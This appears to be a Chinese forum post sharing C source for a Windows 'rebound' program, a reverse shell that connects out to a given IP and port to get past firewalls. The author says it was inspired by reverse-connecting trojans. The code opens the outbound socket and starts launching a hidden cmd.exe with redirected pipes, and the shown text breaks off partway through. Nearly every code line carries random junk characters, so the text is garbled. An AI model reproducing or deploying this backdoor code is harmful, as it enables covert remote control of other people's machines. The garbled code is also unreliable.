这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ~vw$Rnotz
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/* ============================== kA{eT
Rebound port in Windows NT E=RX^ 3+}
By wind,2006/7 KCi0v
===============================*/ gmdA1$c
#include >L,Pw1Y0W[
#include ANlzF&K
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#pragma comment(lib,"wsock32.lib") VPUm4%?p$
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void OutputShell(); 2i~zAD'
SOCKET sClient; [=& tN)_
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; r@ v&~pL
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void main(int argc,char **argv) MOIMW+n
{ _)-y&
WSADATA stWsaData; 3?uah'D5
int nRet; O%m>4OdH
SOCKADDR_IN stSaiClient,stSaiServer; 3\H0Nkubts
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if(argc != 3) .aD=d\
{ 6&[rATU+
printf("Useage:\n\rRebound DestIP DestPort\n"); 7Lx=VX#]q
return; lzK,VZ=mM
} C>Cb
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WSAStartup(MAKEWORD(2,2),&stWsaData); 3$h yV{
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); y /OPN<=*
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stSaiClient.sin_family = AF_INET; \>)#cEX5
stSaiClient.sin_port = htons(0); 1MxO((k
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); K%(DRkj)
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) <gjA(xT5
{ v|GDPq
printf("Bind Socket Failed!\n"); 2_CJV
return; y9X1X{
} 7cV
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stSaiServer.sin_family = AF_INET; +|6 u
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stSaiServer.sin_port = htons((u_short)atoi(argv[2])); xL\R-H^c]
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); e3}o3c_
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) qExmf%q:q
{ dobqYd4`
printf("Connect Error!"); S*S@a4lV7
return; YHfk; FI
} MznMt2-u
OutputShell(); ghDOz
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} ER)to<k
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void OutputShell() y({ EF~w
{ |>jlmaV
char szBuff[1024]; k8O%gO
SECURITY_ATTRIBUTES stSecurityAttributes; C25 2E
OSVERSIONINFO stOsversionInfo; Ct0YwIR*
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; qL/XGIxL?
STARTUPINFO stStartupInfo; a:}&v^v
char *szShell; OuV
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PROCESS_INFORMATION stProcessInformation; 5<mGG;F
unsigned long lBytesRead; sX|bp)Nw
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); *."a>?D~
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); @Xl/<S&
stSecurityAttributes.lpSecurityDescriptor = 0; V8+8?5'l
stSecurityAttributes.bInheritHandle = TRUE; wfrSI:+>
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); aT20FEZ;
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); z P=3B%$
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); %fB!XCW
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 9P\R?~3
stStartupInfo.wShowWindow = SW_HIDE; K4j2xSGeo
stStartupInfo.hStdInput = hReadPipe; q.Vcb!*$
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ]}s'`44J9e
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GetVersionEx(&stOsversionInfo); FiW>kTM8
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switch(stOsversionInfo.dwPlatformId)
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{ Nk@a g)
case 1: _p,1m[&M
szShell = "command.com"; Oj0,Urs7
break; m1,yf*U
default: T;Zv^:]0
szShell = "cmd.exe"; )&wJ